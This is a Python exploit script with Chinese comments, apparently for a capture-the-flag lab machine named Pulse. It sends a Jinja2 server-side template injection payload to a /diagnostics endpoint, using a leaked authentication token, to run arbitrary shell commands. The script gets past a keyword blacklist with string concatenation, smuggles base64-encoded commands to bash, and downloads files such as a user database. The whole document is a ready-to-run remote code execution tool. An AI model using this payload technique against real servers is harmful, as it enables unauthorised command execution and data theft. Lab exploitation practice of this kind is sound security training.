#!/usr/bin/env python3 """Pulse 靶机 /diagnostics Jinja2 SSTI 命令执行辅助脚本 用法: python3 ssti_cmd.py -t 192.168.1.115 -c 'id' python3 ssti_cmd.py -t 192.168.1.115 -c 'base64 -w0 /opt/pulse/data/users.db' -b -o users.db 说明: - 通过 X-Pulse-Auth 头携带 .git 泄露的 DIAGNOSTIC_TOKEN; - 黑名单绕过使用 ('o'~'s') / ('po'~'pen') 字符串拼接; - 待执行命令经 base64 编码,避免模板中直接出现被拦截的关键字; - 读取二进制文件时先让目标执行 base64 -w0,再用 -b 在本地解码。 """ import argparse import base64 import json import urllib.parse import urllib.request TOKEN = "pU1s3_d14gn0st1cs_k3y_98234" VHOST = "monitor.pulse.hmv" def build_payload(command): encoded = base64.b64encode(command.encode()).decode() return ( "{{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]" "('echo %s | base64 -d | bash').read() }}" % encoded ) def run_command(host, command, timeout=15): url = f"http://{host}/diagnostics" payload = build_payload(command).encode() request = urllib.request.Request( url, data=b"template=" + urllib.parse.quote_from_bytes(payload).encode(), headers={ "Host": VHOST, "X-Pulse-Auth": TOKEN, "Content-Type": "application/x-www-form-urlencoded", }, method="POST", ) with urllib.request.urlopen(request, timeout=timeout) as response: body = json.loads(response.read().decode()) if body.get("status") != "success": raise RuntimeError(body.get("message", "unknown error")) return body["output"] def main(): parser = argparse.ArgumentParser(description="Pulse SSTI RCE 辅助脚本") parser.add_argument("-t", "--target", required=True, help="靶机 IP") parser.add_argument("-c", "--command", required=True, help="待执行命令") parser.add_argument("-o", "--output", help="将命令输出保存到本地文件") parser.add_argument("-b", "--base64", action="store_true", help="将输出按 base64 解码") args = parser.parse_args() output = run_command(args.target, args.command) data = base64.b64decode(output) if args.base64 else output.encode() if args.output: with open(args.output, "wb") as handle: handle.write(data) print(f"[+] 输出已保存到 {args.output} ({len(data)} 字节)") else: print(data.decode(errors="replace"), end="") if __name__ == "__main__": main()